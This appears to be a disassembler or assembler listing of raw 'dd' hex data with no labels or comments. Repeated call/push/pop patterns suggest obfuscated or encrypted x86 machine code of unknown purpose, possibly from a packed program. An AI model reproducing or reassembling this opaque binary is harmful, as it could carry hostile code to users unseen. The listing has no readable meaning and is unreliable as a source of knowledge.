		dd 0B4A7CF22h, 9FD52FFDh, 0CF231AB5h, 0D2E70DFBh, 0C9A8E2C7h
		dd 63CC38A1h, 15B6Ch, 37930000h, 64BCA6CCh, 82EC159Eh
		dd 29DDC271h, 60EE16E8h, 0C246A097h, 24DFB5A8h,	361BB44Eh
		dd 25AF3A42h, 255B52FFh, 0E3D887D0h, 2445E967h,	0E30CD918h
		dd 5C5E93EBh, 11FB738Eh, 237B6576h, 4531D4DFh, 15AFC05Bh
		dd 1CCBA55Dh, 8CBD786Dh, 97022899h, 3F0D46A0h, 56BBB2A8h
		dd 28998CE5h, 42C2901Fh, 281B3B32h, 5661A371h, 3ED9C3ABh
		dd 0AF8362Dh, 0EE14CC66h, 2EEED382h, 443BF31Ch,	0C7C47166h
		dd 90FB2899h, 0D62E887Fh, 0E695442Ch, 99C844F1h, 19107B28h
		dd 342731BFh, 32CCA45Eh, 11596664h, 14E6AD9h, 3FA20000h
		dd 24F2A1EAh, 4A2CD9E2h, 2E234239h, 244559BCh, 0B810FA65h
		dd 0C877264Ah, 99A262D3h, 0BA2D5528h, 0A1BB6A0h, 0B1510913h
		dd 0C14210BFh, 0A2171E13h, 3DA82899h, 0B0A7422Ch, 6C04FE56h
		dd 0F7EAF482h, 818D5B40h, 4A1CD76Eh, 0E82EC4EBh, 857C8DF7h
		dd 1BB5BB47h, 11847D4Dh, 6F53D9h, 568B0000h, 0A93E5F88h
		dd 1B2CC7B1h, 4C95EE24h, 3D33CF9Dh, 0A2C1B853h,	908428ADh
		dd 7A64CF5Dh, 26917341h, 9B8596DEh, 91A40900h, 5AA26F7Ch
		dd 87DFC9A9h, 8B0FF97Fh, 0D2C77E71h, 0A26F7C63h, 36D8E954h
		dd 92EBB9ACh, 13FD798Ch, 61D4C978h, 56A26F7Ch, 362BDAEBh
		dd 0DD90829Fh, 0C25BF560h, 7B6511F4h, 85B7E9E0h, 2E000000h
		dd 0DAD1A560h, 0A1EA3F82h, 9F9443F2h, 226F7D96h, 62C7BE29h
		dd 24457340h, 0D42C1681h, 0FA8422Eh, 7DCF1C2Ah,	0CAF86987h
		dd 509A7FC0h, 0C806FD7Ah, 134C363Ah, 0BEB5BF45h, 9A706759h
		dd 0E6D96928h, 0E47EF210h, 0E796DF34h, 6CAF75F2h, 0D1BB262Ah
		dd 0FDE78979h, 2C1660A5h, 0AF37FEF3h, 1D882273h, 0D7C1B74Fh
		dd 0A119B468h, 19BBCBA0h, 89839C8Fh, 59AE7C6Fh,	0FB6C6110h
		dd 0BC24465Eh, 18026E94h, 0D26C7Dh, 0F2A1EA3Fh,	9F96E224h
		dd 303D180h, 4E197E75h,	0D12441BBh, 0DE247C66h,	4336FFF4h
		dd 1E89289Eh, 6F795E0Dh, 2737C8DFh, 1662A472h, 0A55D151Fh
		dd 0A62E1CBh, 275EEF90h, 2B2FB886h, 4B211434h, 861FB9B7h
		dd 402A4EB8h, 0B0231207h, 29949EEFh, 1FE32118h,	0FEF3A251h
		dd 9EEFB037h, 0CC261D88h, 0FCE69274h, 956B5E78h, 0B169036Dh
		dd 0E9351F51h, 0Ah, 410F2E27h, 2BC6B0C2h, 0B137DC34h, 9969C1ABh
		dd 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h,	0B551A993h
		dd 8281D9C3h, 53AE06F0h, 5116311Bh, 0BB53E189h,	3904D5Ch
		dd 2376EB81h, 0DBF74B01h, 0EBC3814Bh, 1B88F29h,	0E9835BD9h
		dd 240C8704h, 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 68241C89h, 2F95h, 68241489h,	1213h, 0B8240489h, 661D25D9h
		dd 2C0F522Dh, 0D009351Dh, 0C3894EDFh, 148B5458h, 4C48324h
		dd 8B850h, 0D0010000h, 48B1889h, 4C48324h, 5A2434FFh, 4C481h
		dd 34FF0000h, 0C4835B24h, 0B284E904h, 84F3FFFBh, 0DE423FB8h
		dd 12A3F7BEh, 8B6A4A8Ch, 0CB1FB889h, 0C503062Eh, 9DEFE0FFh
		dd 15B3551Eh, 1E6C14D0h, 0DB262E87h, 83681D0Dh,	0B1C01A85h
		dd 6D147A1Bh, 7683635Eh, 0EE0C2438h, 0E63B2243h, 33391C14h
		dd 5D1946DDh, 0CE2A643Ch, 0B6C1020Bh, 0AA7601DDh, 0FD420B2h
		dd 0E7D2624Ch, 0D2BD4234h, 45155783h, 4D157D5Eh, 653D77BFh
		dd 0EC3C0BB5h, 858D162Ch, 62A1911h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 18C35343h, 509027F1h, 0FFB8B52h
		dd 13E831h, 0AAC0000h, 62C28D12h, 0CB38F36h, 454E134Bh
		dd 0EA742BEAh, 0CE9C4h,	751A0000h, 0B3FD4921h, 0D38C47Ah
		dd 5A5BE72Fh, 6A905058h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0FEADC355h,	0F5E9CBA3h
		dd 6A788Fh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Bh,	41C35343h, 4CA5C28Eh, 0FF5335Ch, 686h, 899D3100h
		dd 0E9062A14h, 9, 0F23C51ADh, 0B0CE3709h, 0F006A64h, 48Fh
		dd 2ABB6600h, 0A5858D8Ah, 6A062ECEh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0F27C357h
		dd 5BB442EDh, 6840F9Dh,	89000000h, 2A1915B5h, 6890F06h
		dd 29000000h, 2A34258Dh, 5C08306h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 42C35343h, 60C04ED4h, 5D9529F8h
		dd 61062A25h, 0E8FB8B60h, 5, 74F61393h,	719D8BF7h, 5B062A12h
		dd 52505061h, 13E9h, 88715500h,	0D13EF151h, 482CC99h, 6166BE3Fh
		dd 53F022BDh, 0BF66310Fh, 585A92DEh, 0F240489h,	686h, 10CB8100h
		dd 0E964614Ch, 0Ch, 4B21A715h, 51B001D6h, 97DC9EC9h, 6A006Ah
		dd 503C381h, 95FF0EB6h,	62A1275h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 9FC35343h, 0CD5FD54Dh, 9D8B7A46h
		dd 62A2155h, 0B9668D8Dh, 6A062Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0D1FFADC3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 47C35141h, 567EF4AEh
		dd 0A55A762Fh, 8FE78154h, 831897C3h, 2A3415BDh,	850F0106h
		dd 71h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
		dd 0CC35141h, 0F19393Bh, 0C80h,	6880F00h, 89000000h, 2A0E859Dh
		dd 0BB026A06h, 67CF0F4Dh, 0DF8B6650h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0A8B9C355h, 0AD554254h, 135D95FFh, 0F60062Ah
		dd 282h, 0F5595700h, 0DD3E961h,	0E80000h, 5D000000h, 0CEAFED81h
		dd 0BF66062Eh, 0AE92AE8h, 0A2000000h, 5AB2F7F7h, 34D84799h
		dd 0C4858D8Eh, 29062D96h, 2A02E58Dh, 0EE89006h,	60000000h
		dd 18E01078h, 9CD20DADh, 0CE196560h, 429CBB62h,	505F5B46h
		dd 2870Fh, 0D2B70000h, 69858990h, 64062A22h, 35FFh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C480EC3h, 919589CEh, 0F062A34h, 13E8F8BFh, 90000000h
		dd 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h, 11E972DFh
		dd 0F0000000h, 0C306BD1Dh, 0D1F5F31Fh, 287F6F06h, 3EF09798h
		dd 2589645Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 87C35040h
		dd 0C788571Fh, 0FF7FBA8Fh, 2A14C185h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0CE8A2h, 0A5300000h,	9FB70972h, 14D235D4h, 0BF0F6615h
		dd 0FF6A5FFAh, 95BD8B57h, 5F062A2Ch, 3455B5FFh,	6A062Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0B85E92C3h, 91CC7649h, 0BD312AF6h, 62A1361h,	238D95FFh
		dd 16E9062Ah, 66000001h, 0B0FB8Bh, 27E38166h, 6670E6E0h
		dd 0E4409EBBh, 3CF88B71h, 0FA830F61h, 8B000000h, 2A1B05BDh
		dd 0C8B60F06h, 15CD9D03h, 6BA062Ah, 29000000h, 2A2DB1B5h
		dd 81C18B06h, 0C2B385DBh, 4E8C173h, 66FA8B66h, 0EF81E2F7h
		dd 2BB00063h, 8B66C82Bh, 0DE8B66DAh, 8B0FD18Bh,	19h, 14E9h
		dd 0D7CF0B00h, 0BE92AC46h, 0C37BA643h, 764888C2h, 17714AFDh
		dd 0DF8B6652h, 0CE9h, 6860F00h,	2B000000h, 2A16C19Dh, 55858B06h
		dd 0E9062A19h, 0Eh, 8B6269B0h, 0FADC1301h, 35B0E566h, 0C083DCE6h
		dd 2840F07h, 8A000000h,	0C083FEh, 0D0E759BBh, 0FD03B3Eh
		dd 2383h, 0DE900h, 0EB2D0000h, 0B3F12C3Ch, 0B21E254Eh
		dd 8B14573Bh, 2A1EE19Dh, 3BE906h, 0B5310000h, 62A0EBDh
		dd 10C18D8Bh, 9D33062Ah, 62A2E05h, 0F01E183h, 2084h, 7DE78000h
		dd 10C1A583h, 0B7FE062Ah, 55958965h, 0F062A19h,	38Bh, 0DEB70F00h
		dd 0E9h, 0DB58D00h, 6A062E25h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0DD0EC353h,	0B94FAB25h
		dd 0FE8B6636h, 0C5BB006Ah, 89095B71h, 2A0381BDh, 3995FF06h
		dd 6A062A34h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5A6EC353h, 60A3DFEDh, 37C0EA81h
		dd 0BF575CE0h, 41144806h, 5E9615Ah, 4A000000h, 0F6A8BBE6h
		dd 856B9h, 68A0F00h, 8B000000h,	2A0CC9BDh, 0FCE18306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B4C35343h
		dd 0B696DE2Ah, 8BF960EAh, 2A27B595h, 0D3816106h, 552C36C9h
		dd 0DEBF66FCh, 6AC02B5Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 6AA8C357h, 0F88BEBE1h
		dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0B7BE9E5Bh, 1FF1B501h, 33AD062Ah
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 60D564C3h, 0AB19A824h
		dd 7DBD3143h, 29062A13h, 2A282195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0C839D832h
		dd 4F137A00h, 28158589h, 880D062Ah, 66000000h, 6BC381h
		dd 66F08B60h, 8B61F08Bh, 2A339595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0EC6693D5h
		dd 2D8D5F95h, 27959589h, 8D8B062Ah, 62A0BF9h, 0ED59589h
		dd 0BD8B062Ah, 62A31EDh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 1DB75818h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 15C35141h, 0A5BD8307h, 62A0Fh, 0A8840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0F5E252C3h, 0F5937CAh, 28Fh, 0E9F88B00h
		dd 0Eh,	293350F0h, 0FBB30C7Bh, 0E9B35A4Ch, 0BE60622Dh
		dd 339004DBh, 0FCF18B60h, 0B86161h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 1AB3C356h, 0B4C3D519h, 0A97B741Ah, 4E978D8Dh, 6A062Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0F5600CC3h, 0DE750940h, 0F819D23h, 0E1FF062Ah, 0A05BD8Bh
		dd 0BD83062Ah, 62A06C5h, 0EC840F00h, 0F5000003h, 6C5BD83h
		dd 0F01062Ah, 3F984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 25BB99E6h, 80E90CB9h
		dd 0BD8319D7h, 62A06C5h, 91860F03h, 6A000003h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9592C351h, 800F2DE5h, 0
		dd 81665360h, 5B9895C3h, 0D98C66F8h, 19800Fh, 10E80000h
		dd 9A000000h, 0B0CFAE30h, 189AA37Fh, 0D540D147h, 0FAE3FF4h
		dd 0F5FFFBFh, 0A85h, 958B6000h,	62A32A1h, 80616160h, 6A04E1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 5AB5EAC3h, 0D28146A2h, 0E9E24048h, 6, 0C2D53E0Dh, 0C90AC95Ah
		dd 11B840Fh, 0DA8B0000h, 2939858Bh, 6A062Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 3194DDC3h
		dd 2A0E7595h, 0F9853306h, 0E9062A05h, 0Dh, 0D33A316Fh
		dd 6357E075h, 0F05C5B15h, 8C0F504Dh, 5,	0D88B6660h, 24048961h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6BC35646h
		dd 10DEDC17h, 2E099529h, 6A062Ah, 9E8h,	1076E500h, 881128FEh
		dd 950937F1h, 62A1F69h,	4E85Fh,	3FF0000h, 0DE8B001Fh, 8E950h
		dd 0EAC30000h, 62DC519h, 448BD5B3h, 37B30424h, 4489008Bh
		dd 0BF660424h, 6A582D7Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 8F6EC355h, 2B8195FFh
		dd 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BF66CEC3h, 8D89921Ch, 62A2D81h, 0B9BE8589h
		dd 0BD8B062Dh, 62A0A09h, 194E9h, 9D8B5100h, 62A00D9h, 0B6858B5Fh
		dd 0B062DB9h, 2A05899Dh, 1800C706h, 8B000000h, 2DB9BAB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 312D3E95h, 5882568h, 0BF0F1D9Ch,	0DD858BDBh
		dd 31062A04h, 2A1A7D9Dh, 0E9068906h, 6,	0B168CD21h, 35BBBC0Eh
		dd 8B11DDF9h, 2A293985h, 4468906h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0EEC35242h,	85894AD4h, 62A0389h
		dd 0F98B6696h, 0C8BB6650h, 8B669614h, 0B6B5FFDEh, 6A062DB9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E634C352h, 48EE7AFDh, 8BAD656Ch,	2A21A99Dh
		dd 0E5BD2906h, 68062A34h, 9B76A285h, 0FE860h, 4E580000h
		dd 78410BCh, 3BEE3F34h,	698E36A3h, 5FC28B20h, 12E9h, 6F7AB00h
		dd 0CD8588A5h, 0D6586284h, 7016EEE0h, 61CB0F75h, 7A240481h
		dd 6A64A861h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 79E5C350h, 0BD8988B4h,	62A3281h
		dd 0B9BE858Dh, 0BD8B062Dh, 62A2561h, 0FA8B6690h, 6A9050h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B70FE3C3h, 8195FFFEh, 6A062A2Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 4E31C350h
		dd 89DFB70Fh, 2A1BB9B5h, 11BB6106h, 0C7086CF7h,	2A06C585h
		dd 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 7DD447A5h, 958947DEh, 62A0B85h, 0B9BEBD83h
		dd 0F00062Dh, 0B84h, 21E900h, 9D8B0000h, 62A0B2Dh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0FFC0C351h, 5A8405C0h, 7931ACBBh, 83DFB70Fh,	2A06C5BDh
		dd 850F0306h, 3EFh, 0C9F38166h,	5E816h,	74B0000h, 0E921B105h
		dd 11h,	0BEC12234h, 8579FF0h, 16967E34h, 0A98DA3E8h, 0BD835B1Eh
		dd 62DB9BEh, 0BC840F00h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0FF0FC350h
		dd 2DB9BEB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0BBE2C11Eh, 33032341h, 164D95FFh
		dd 0BD0B062Ah, 62A0CF9h, 0B9B2B58Bh, 6A062Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E9CAF6C3h
		dd 0Bh,	52EEA4C5h, 0B22C2731h, 0C74B59F1h, 1000106h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BEDC77F8h, 7B9358E5h, 0C800BB66h, 33D18589h, 0E896062Ah
		dd 9, 22054D6h,	0E7BC342h, 0F505BE6h, 1189h, 0BF525000h
		dd 3DA4B743h, 890F310Fh, 0
		dd 0F96585Ah, 0B5FFFFBFh, 62DB9BEh, 8219D8Bh, 95FF062Ah
		dd 62A1A39h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0D7C35343h, 0E9CED4C2h,	0Ah, 6B93487Bh,	7F079524h
		dd 0B58BA470h, 62DB9B2h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 31C35747h, 2B1CCC13h,	12E9858Bh, 9D8B062Ah
		dd 62A2641h, 0C48689h, 0BD890000h, 62A291Dh, 3395958Bh
		dd 0F98B062Ah, 6A04C283h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 382C350h, 2A22D99Dh
		dd 20508906h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	12C35646h, 858DF365h, 62DCC2Ch,	4860Fh,	0BF660000h
		dd 8689F727h, 0B8h, 0EE9h, 75538100h, 17578460h, 0F799AAE8h
		dd 6A06F814h, 0BEB5FF00h, 0BB062DB9h, 1847E8D4h, 135D95FFh
		dd 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 511E22C3h, 54BE3DCFh, 50A2BA88h, 14E9h, 6EDCC700h
		dd 0A35999A4h, 4CBEE58Ch, 0BA17698Fh, 2C1F16B7h, 2434898Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 42C35646h
		dd 0DB83711Eh, 0BEB5FFA3h, 66062DB9h, 0FFE648BFh, 2A260995h
		dd 0A5BD2906h, 83062A18h, 2A1F61BDh, 840F0006h,	5Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 54C35040h, 66AE22DBh
		dd 59D7CB81h, 14E9h, 4B7BEE00h,	74850930h, 56B805DCh, 0DF142CB1h
		dd 669025C0h, 12E89613h, 0ED000000h, 0DF6B3C38h, 7AD49E51h
		dd 5A1C0D7Fh, 90F8AE63h, 8C0F53h, 5B000000h, 0FFFC9650h
		dd 2DB9BEB5h, 0CD950106h, 0FF062A19h, 2A1A2995h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 3704BAB2h, 840F6BE3h, 0Ch, 6820Fh, 8E0F0000h, 0
		dd 102D8D89h, 0B5FF062Ah, 62DB9BEh, 0A442BB66h,	0EC595FFh
		dd 0BD83062Ah, 62A1F7Dh, 52840F02h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 117CC352h, 0C7E00554h, 7F0F6997h, 0F59858Bh,	0C6062Ah
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 367380EEh, 1F944ADEh, 3585C79Ah,	62A09h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6F10C350h, 20512959h, 8B66B319h
		dd 0E9F98BF8h, 0FFFFF3A2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 4EC35242h, 8D669244h,	10E94ECEh, 0A3000000h
		dd 0CAA42196h, 4E81AAA0h, 4A3ABEABh, 8BF58FA8h,	2A0B71BDh
		dd 6AC18B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BCCC357h, 2A18A19Dh, 11858D06h
		dd 0E8062A19h, 0Bh, 5274739Eh, 6EA2B22Fh, 50019892h, 11299D89h
		dd 5F5F062Ah, 14E850h, 0E3C50000h, 687EAE71h, 9BA3CE88h
		dd 5A310FBBh, 70B24566h, 8B66E011h, 4895FFAh, 6AF824h
		dd 3035BD09h, 6A062Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 61C35343h, 8974E0DCh,	0F1B9B43h, 389h
		dd 0F8B70F00h, 0DE3D858Dh, 9529062Eh, 62A32C1h,	6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 60ECC353h, 12810F90h, 50000000h, 0F525052h
		dd 0F585A31h, 0F525031h, 5A585A31h, 0BF665058h,	8A908979h
		dd 8B006AD8h, 2A13DDBDh, 1958906h, 6A062A13h, 12E900h
		dd 4F100000h, 463C25D4h, 8113340Bh, 0C49E4115h,	764E929Ch
		dd 127595FFh, 9529062Ah, 62A1009h, 1B46DF81h, 8D8D0839h
		dd 62DB966h, 6AD1FFF8h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 89FFC352h, 84618FD4h
		dd 0E8DE6406h, 83F88B66h, 2A3415BDh, 850F0106h,	85h, 0FC1B589h
		dd 26A062Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	2AC35242h, 70D4DC15h, 0DBB70FA3h, 44E78166h, 0A98D89C3h
		dd 90062A06h, 90505BB7h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0BCC35747h, 69835F6Bh, 5850FC3h, 51000000h
		dd 5BF88B66h, 25159529h, 95FF062Ah, 62A135Dh, 0F0B70F60h
		dd 6860Fh, 0B5890000h, 62A1FA9h, 0CFFE961h, 0E80000h, 5D000000h
		dd 0DE47ED81h, 6A062Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 30996DC3h, 28F55897h, 0FA8B666Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 9CC35343h
		dd 858D1AC6h, 62D96C4h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0A5C35343h, 65983655h, 8B3F7781h, 2A2579BDh
		dd 0C5B75006h, 56240489h, 5BF98B66h, 35FF64h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A67EC353h, 0CAB14C88h, 12E82Bh, 0AB630000h
		dd 4D17623Dh, 0E886E2DDh, 0F7666CF3h, 0EED7A7DBh, 5B616057h
		dd 2589645Fh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 17C35141h
		dd 0D44F102Dh, 0B463C25h, 19719D89h, 85FF062Ah,	62A14C1h
		dd 0A5BF6657h, 0FF6A5B5Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0BC35242h, 196DB5FFh,	6A062Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0C01F5AC3h, 0A2CCB965h, 9D8B2278h, 62A0A6Dh,	238D95FFh
		dd 57E9062Ah, 0E8000001h, 8, 0BDA7D144h, 399A2AD8h, 18B98589h
		dd 0B05F062Ah, 0E470E600h, 698D8971h, 3C062A09h, 2F830F61h
		dd 0E8000001h, 7, 2B580D03h, 318B7982h,	2A2919B5h, 0B60F5B06h
		dd 8D8D89C8h, 0BA062A22h, 6, 68D0Fh, 9D8B0000h,	62A2809h
		dd 8D01C18Bh, 62A09BDh,	8B04E8C1h, 2A0061BDh, 0E2F76606h
		dd 0C7819BB3h, 0C6C1F2Dh, 8C0FC82Bh, 2,	0D18BF88Bh, 0E9FFBF0Fh
		dd 0D2h, 7E9h, 99EA4300h, 0CF012FB7h, 8858Bh, 9E90000h
		dd 0B9000000h, 0FD288ABDh, 0F24D6A1Ch, 6007C083h, 2371B509h
		dd 12E8062Ah, 4A000000h, 9F4B78B1h, 0C00B5218h,	0A7090291h
		dd 0A1907665h, 0CD850928h, 5F062A2Ah, 0C08361h,	75D38166h
		dd 0FD03BE3h, 3083h, 8D036000h,	62A2D71h, 0EE8h, 1047A100h
		dd 0F7369AF9h, 0C670F1ABh, 0B662E96h, 2A14FDB5h, 0E9615906h
		dd 52h,	69B58B60h, 0F9062A05h, 0FF8D8B61h, 8BFFFFFFh, 2A23A19Dh
		dd 1E18306h, 34840Fh, 0E9FC0000h, 10h, 4234AC90h, 48352AF5h
		dd 3FE9C51Dh, 0DF3A754Dh, 0FFFFA583h, 31FEFFFFh, 2A03218Dh
		dd 8958906h, 29000000h,	2A033D9Dh, 0E906h, 0B58D0000h
		dd 62E571Bh, 2D819531h,	6A062Ah, 0FFF98B66h, 2A343995h
		dd 0CB816606h, 0A7B927BCh, 0BB00000Fh, 56A5FD2Fh, 8E9h
		dd 623DAB00h, 0E2DD4D17h, 0FCE18386h, 3045BD33h, 6AFC062Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 52B9C350h, 0DE94EA2h, 16000000h, 0B37AA0BAh
		dd 1F750089h, 0D3B57DB5h, 0B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0F0CDC6Dh
		dd 385h, 0D98B6600h, 0BD29D22Bh, 62A0605h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 208D8D29h, 6A062Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E256BBC3h
		dd 95578211h, 81664208h, 0DA85CDFh, 88h, 8B4DE780h, 2A339595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 9C08CF76h, 0D4D420B6h, 0F98D8B28h, 66062A0Bh
		dd 0AC72EF81h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0ED53F9C3h, 5D9D8B7Eh, 6A062A12h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0B2C8C356h, 8E86035h, 4D000000h, 0FCE5DA61h,	94253D8h
		dd 2A1A0585h, 0BD835F06h, 62A0FA5h, 56840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6B45C351h, 0B8D106h, 8B000000h, 2A17099Dh
		dd 978D8D06h, 60062A4Eh, 0CE9h,	0EFB1AB00h, 71D3B6E1h
		dd 0D06F513Eh, 38F0FABh, 80000000h, 0B361B0C3h,	81E1FF27h
		dd 0ECA7FAF3h, 0C5BD833Fh, 62A06h, 3DD840Fh, 85010000h
		dd 62A1909h, 6C5BD83h, 0F01062Ah, 3E584h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 42A6685Ch, 0FE8D2FFh, 19000000h, 44025A95h, 2E7C34D6h
		dd 2247D36Ch, 0EE9E5E2h, 0A8000000h, 0AD554254h, 9F9E4A08h
		dd 0DDE61475h, 8C0F5B4Dh, 6, 24898D89h,	0BD83062Ah, 62A06C5h
		dd 4D860F03h, 31000003h, 2A1575BDh, 0E9F86006h,	0Ch, 1AD67280h
		dd 0A7717A6Eh, 8CE7AB9Dh, 6AD98C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0BD6EC350h
		dd 10E9A099h, 9B000000h, 5DA7B1F3h, 0C36FDAB3h,	0EC1869D6h
		dd 8022F7E7h, 9D8B04E1h, 62A2345h, 840FC90Ah, 0E2h, 0DE9h
